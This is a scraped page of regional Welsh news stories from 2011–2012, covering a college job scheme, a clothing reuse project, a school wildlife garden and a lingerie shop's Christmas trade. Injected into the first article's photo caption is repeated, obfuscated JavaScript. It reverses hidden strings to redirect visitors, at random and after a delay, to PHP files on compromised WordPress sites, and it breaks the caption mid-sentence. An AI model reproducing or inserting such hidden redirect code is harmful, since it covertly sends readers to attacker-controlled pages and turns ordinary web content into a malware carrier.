Category: News

College just the job for Seren and Gran

Pictures taken at Coleg Menai of students on the Intermediate Labour Market Project who have worked $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}together and recorded their own CD.Seren Cynfal and Grandma Anwen Jones who also attends the college

A seventeen-year-old student is getting plenty of support after starting in college – from her grandmother!

Both Seren Cynfal and her nain, Anwen Jones, 56, have signed up for a ground-breaking scheme at Coleg Harlech, the second chance college.

They’re taking part in the Intermediate Labour Market (ILM) project which is designed to provide short term employment to help people on the dole find work.

It is being run in conjunction with the Wales Council for Voluntary Action.

Seren, who lives in Llan Ffestiniog,  said: “Not many people get to go to work with their nain! I’m really enjoying the project and learning new skills all the time.

“Since being here I have had tests and discovered I’m dyslexic, something I was unaware of at school.”

“I really have enjoyed being part of this project at Coleg Harlech as I have had lots of new experiences, from using the recording studio to learning how to write a good CV, and how to approach job interviews.”

“It has really been a positive experience that will hopefully help me get a job, something that really interests me, in the future.”

Her grandmother was equally positive about the ILM project.

She said: “I am working on a multi-media project here at Coleg Harlech which is really helping me. I have been unemployed for some time and it’s getting harder to find jobs to apply for, let alone obtain one.

“I did run my own bistro business but sadly it didn’t work out. While here at Coleg Harlech I’ve learnt so many new skills.”

“I finish in January while Seren is here until April. I will be then better equipped and ready to move back into employment.”

According to Coleg Harlech Development Worker, James Berry, the project is proving a big hit.

He said: “Seren and Anwen both work at the college on a daily basis although they are doing different things.”

“Seren is working alongside 13 other young people learning new skills and disciplines that can only help in what is an incredibly hard and increasingly tough jobs market.”

“In Anwen’s case it’s about awakening skills she, and her colleagues, may already have while learning plenty of new ones too.”

Victoria Milton, 16, found out about the ILM project after spotting an advert pinned to a Barmouth chippy wall.

She said: “I wasn’t going to school as I’d finished my GCSEs but couldn’t find a job. I started the project and have found it really good, it’s really opened my eyes.”

“I have always wanted to sing and I have been able to use the Coleg Harlech recording studio to make a CD.”

“I have always wanted to sing and have been to stage school. In fact I have been singing since I was three and I hope to perhaps go onto study music, English or even fashion.”

“The main thing is I feel better equipped to tackle job interviews and have more confidence in myself. I have learnt so many new skills which will help me when it comes to finding work in the future.”

Coleg Harlech Principal Trefor Fȏn Owen says the ILM scheme has been a fantastic opportunity for his staff to be able to support people who want to get back into the world of work.”

He said: “Those taking part in the project here at the college have very much integrated into the fabric of the organisation. Our staff are really dedicated and the project has enabled us to bring in new staff too.”

“This has been a pilot scheme and we have worked alongside the Wales Council for Voluntary Action who have provided the finance to support the programme.”

“We have learnt that some of our young people need more support than perhaps other employees. We have supplied that support while they learn important new employment skills.”

“These young people have come a long way in a short period of time. They have matured and visibly grown in confidence and, at the conclusion of the project, will be able to go out and stand an equal chance in the jobs market.”

James Berry added: “The ILM project is about giving young people a chance and the opportunity to show they have potential and something to offer. They may want help with literacy and numeracy but everything we do is aimed at making them employable and improving their chances
of getting a job.”

“We engage in plenty of activities that build confidence but also employability. We hold sessions on form filling, CVs, interviews skills and planning.”

“It’s important they know how to plan a day, how to manage their time, as well as how to speak confidently, how to dress and how to behave appropriately. All vital skills but things perhaps they have missed out on.”

“I’m very proud of those that have taken part in this project. They have certainly come a long, long way in a short space of time and by working together they have so many more jobs skills now than they had before. All we need now is for employers to give them a chance.”

WCVA Chief Executive Graham Benfield OBE said: “The Intermediate Labour Market Project is supporting around 1,500 economically inactive people into permanent jobs across North and East Wales, while boosting the skills and work-based qualifications of over 3,000 people.”

“Interventions like these are vital in the current climate.”

 

Tuesday January 3rd, 2012

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Pioneering clothing project expands

Kit Out The Kids in Rhyl. Andy Lowe and Sharon Bonett-Jones with Alison Davies, front and Cy Williams and Dewi Stewart, back right.

 A ground-breaking children’s clothing project is set for major expansion in 2012.

Kit Out The Kids keeps 90 tonnes of textiles out of landfill every year and offers a vital service to families on low income.

It is one of 10 schemes run by Cooptions, a Prestatyn social enterprise company, which provides valuable employment opportunities to people with learning disabilities.

The scheme, which collects and sells good quality, second hand children’s clothing and toys at rock bottom prices, will be opening a new clothing shop for adults next door to the one they already have in Rhyl.

In a second big development, the project will team up with Denbighshire County Council to offer an improved donation collection service where specially labelled bags will be delivered with assistance from the authority’s refuse collectors to 30,000 homes across the county.

A collection service will then be operated fortnightly by Kit Out The Kids to coincide with the county’s blue bin recycling days.

The aim is to make it easier for people to remember when the collection will be made and to feel reassured their donated clothes will go to good use locally.

Andy Lowe, managing director of Cooptions, was encouraged to develop the clothing scheme following advice from WINSENT (Wales Ireland Network for Social Entrepreneurship).

The aim of the £1.3 million project is to support social entrepreneurs who use their business skills to reduce poverty and social inequality and breathe new life into communities across Anglesey and Denbighshire.

The project is part funded by the European Regional Development Fund (ERDF) through the Ireland Wales Programme (INTERREG 4A).

Andy said: “WINSENT organised for me to go to Ireland on a study trip so I could see for myself how similar projects, including a textile reuse business, were working. Some of them were quite a bit further on than us and the trip gave me ideas, inspiration and confidence to take our project
forward.”

Sue Haygarth, of Consultancy Coop based in Wales, is assisting Denbighshire County Council in delivering WINSENT for social enterprises in the county.

She said: “Kit Out The Kids is already providing a fantastic service to the people of Denbighshire and it made sense to look at ways to develop the project further.

“We have given Andy the chance to see for himself how he might use some tried and trusted ideas to develop the scheme and it is terrific to see how those thoughts he had are now coming to fruition.”

Jim Espley of Denbighshire County Council’s Environmental Services said: “We are delighted to have formalised a partnership with Cooptions to offer a clothes recycling service. The collections of unwanted clothes will be carried out by Cooptions staff and will be picked up on the same day as your blue wheelie bin.

“We are expecting the collection bags to be ready at the end of January and we will be distributing to households then.

“We have been very impressed by the service offered by Cooptions, as we see that local people are benefitting from a local service. As such, we are extremely pleased to be involved in this partnership.”

Absolutely everything which Kit Out The Kids receives is reused. All of the best quality and suitable clothing and toy donations are washed, dried and prepared for sale in the shop. The rest is recycled in some way such as rags for cleaning.

Hazel Lemmard, mum to three-year-old Liam, is a regular customer at the existing shop, which opened in 2005.

The 32-year-old from, Rhyl, said: “When you are on benefits and haven’t got a huge income, it can be really tough. Children’s clothing can be expensive and they are only in it five minutes because they are growing all the time.

“For me it takes the stress out of worrying how I am going to keep paying for all the clothes which Liam needs.

“I know I can come here and get some lovely things for him at an unbeatable price. I really don’t know what I would do without it.

“I think it is great they are opening a new adult shop. Perhaps I can treat myself a little bit now!”

Andy said: “The new adult shop will create a new income stream for us and could potentially double our takings. It also means we are providing more work for people and keeping more out of landfill so it is a very exciting development.”

When Kit Out The Kids was first set up in 2000, the project employed three members of staff and work opportunities for five people with learning disabilities. It now has six members of staff and 23 supported workers.

Catherine Hanley, 30, from Prestatyn, has worked for the project since it started. She said: “This is my favourite job. I really like all the people who work here and it is fun working in the shop too.

“My job there is to make sure everything looks neat and tidy and is presented well to the customers. “At the sorting centre I do a lot of tagging and making sure everything is ready for the shop. I enjoy all of it.”

To find out more about WINSENT go to www.winsent.eu or email Sue Haygarth at  to://winsent@denbighshire.gov.uk" target="_blank">winsent@denbighshire.gov.uk.
To find out more about Cooptions and all its projects, go to www.cooptions.co.uk or call 01745 851454.

Tuesday January 3rd, 2012

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Hedgehog hotel in Flintshire school

Cadwyn Clwyd have funded a wildlife garden at Ysgol Bro Carmel Holywell. Pictured from left are pupils Jacob Jones, Ailah Davies, William James and Oscar Ashbrook along with (from left) Sarah Jones - Environment and Heritage Officer, teacher Miss Jones and Roger Pawling, Volunteer for North Wales Wild Life Trust.

It’s a wildlife haven with a difference featuring a hedgehog hotel, a nectar café and even bijou apartments for birds – and it’s been created at a Flintshire school.

Rural regeneration agency Cadwyn Clwyd are behind a new outdoor classroom and wild garden at Ysgol Bro Carmel, near Holywell, and pupils, teachers and parents are reaping the reward.

Their fantastic new wildlife garden includes a large pond and wetland area, a nectar cafe for insects, a hedgehog hotel, bird boxes and an array of different plants and wild flowers.

Headteacher Jo Garbutt said the completion of the project, which the school has planned for months with the help of the North Wales Wildlife Trust, would have been impossible without the
help of Cadwyn Clwyd.

The Ruthin-based agency provided more than £10,000 to the wildlife garden and the school itself raised £3,500 towards the wildlife wonderland.

Cadwyn Clwyd’s contribution came from the Rural Development Fund for Wales 2007-2013, which
is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

Mrs Garbutt said: “The funding from Cadwyn Clwyd has made an enormous difference. We couldn’t have achieved this without them.”

She added: “The outdoor classroom is a huge benefit to both the school and our local community groups. It enables children to gain a wealth of first hand experiential learning experiences which
will greatly enhance their learning and it enables the teachers to provide an even higher standard of teaching and learning.

“Children will benefit in so many ways educationally and environmentally at the same time as having fun outdoors!”

William James, 10, is a very keen young gardener and an active member of the after school club which helps maintain the new wildlife space.

He said: “I am looking forward to seeing things grow and we made a hedgehog house under the compost heap and I am really hoping to see one because I have never seen one before.”

Sarah Jones, Environment and Heritage Officer for Cadwyn Clwyd, said some of the major digging for the new garden was completed during the summer holidays but much of the hard work had been done by the school since the beginning of the new term, with the help of Cadwyn Clwyd and workshops run by the North Wales Wildlife Trust.

She said: “In a very short space of time, the school has achieved a lot, creating a fantastic, new learning resource and a wonderful habitat for all sorts of creatures and plants.

“It is amazing how much the children absorb about wildlife, learning in this way and it is good to see them putting things they have learnt in the classroom into practice.

“It is also a fantastic way of enhancing the local environment and protecting it for future generations to come.”

Iwan Edwards, Wildlife Gardening Officer at the North Wales Wildlife Trust, said almost every child in the school had played their part in nurturing the new garden which was a flagship project for his trust.

He said: “The project has provided every child in the school with an opportunity to learn about important issues which will become increasingly prominent in their lives as adults.

“We are effectively teaching the next generation about the significance of biodiversity, teaching them how to care for their environment in a way that is better than the previous generation.

“The children will be able to take part in outdoor learning and gain real experiences in the outdoor environment. They will learn about wildlife through activities such as pond dipping, managing a
wildflower meadow, studying flying insects and bug hunting.

“And they will be watching a garden develop over time – which is an education in itself.”

Cadwyn Clwyd continues to look for innovative projects to support which help safeguard the area’s natural, cultural and heritage assets and maximise their economic potential for local businesses and communities.

To find out more or share your idea for a project call 01824 705802 or email to:sarah.jones@cadwynclwyd.co.uk">sarah.jones@cadwynclwyd.co.uk

Wednesday December 7th, 2011

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They’re loving it at Ann Summers

Ann Summers, Darwin Centre, Shrewsbury, Christmas best sellers with manager Leanne Harris

If staying in is the new going out then the Christmas Party season is good news for sexy lingerie store Ann Summers.

That’s certainly the case in Shrewsbury’s busy Darwin Centre where the Ann Summers store reports a roaring pre-Christmas trade.

According to store manager Leanne Harris Christmas and Valentine’s Day are their busiest times of the year: “Christmas more so because it lasts longer,” she said.

“We also get a lot more men in before Christmas than at other times of the year because they don’t otherwise buy gifts.

“We also get a lot of desperate men rushing in on Christmas Eve because they’ve left it to the last minute

“Sexy underwear sets are usually a man buy but at Christmas we also get women coming in and saying they’re buying it as a present for their husbands.

“But the recession also means that people aren’t going out as much and so stayting in is the new going out.

“Couples often go and get something to eat and drink from the supermarket, a nice bottle of wine to have together, and then they come to us for something and have a night in together.

“But lots of women come here for their underwear because they like what we have on sale while men buy for presents.

“It can be quite funny because they often have no idea what size their partner is – when we ask them they’ll say, ‘Oh, she’s about your size but with bigger boobs or a  bigger bum,’ but we know what we’re doing so we’re able to help.”

The big sellers are the ever-popular French maid sets and Santa suits but the store is an Aladdin’s Cave of frills and lace, massage oils and chocolate body rubs, saucy games and fantasy outfits from Super Woman to Naughty Nurses.

Russell Hall, Operations Manager for the Darwin, Pride Hill and Riverside Shopping Centres, said: “Ann Summers is a popular store and like everywhere else it’s a busy time for them.

“The staff there are very professional and it certainly adds to the variety that we have in our retail offer here in Shrewsbury”

The party season is certainly a boost to trade with the Secret Santa gifts popular where shoppers buy something for £5 for a company or business party and Leanne says there’s plenty of choice.

“We sell everything from outfits to toys, edibles to massage oils and a lot more besides.

“We often have to help people out but it’s all about customer service and often you have to work out what they want and whether they want something pretty, something raunchy or something sexy but subtle.

“You certainly have to be open minded because anything goes and everyone is different but we’re very well trained and nothing fazes us here at all – it’s each to their own and every customer is different.

“We do get people here regularly for cross-dressing and they tend to come in very early or very late at night and we let them use the fitting rooms if it’s quiet.

“We also get a lot of people who ask us for advice about the products we sell – they often treat us as sex consultants and because we know what we’re talking about a lot of customers tell us things they wouldn’t tell anyone else.

“Ann Summers is unique. No-one else on the high street does what we do and we have to be absolutely 100 per cent but it’s a great place to work.”

 

Wednesday December 7th, 2011

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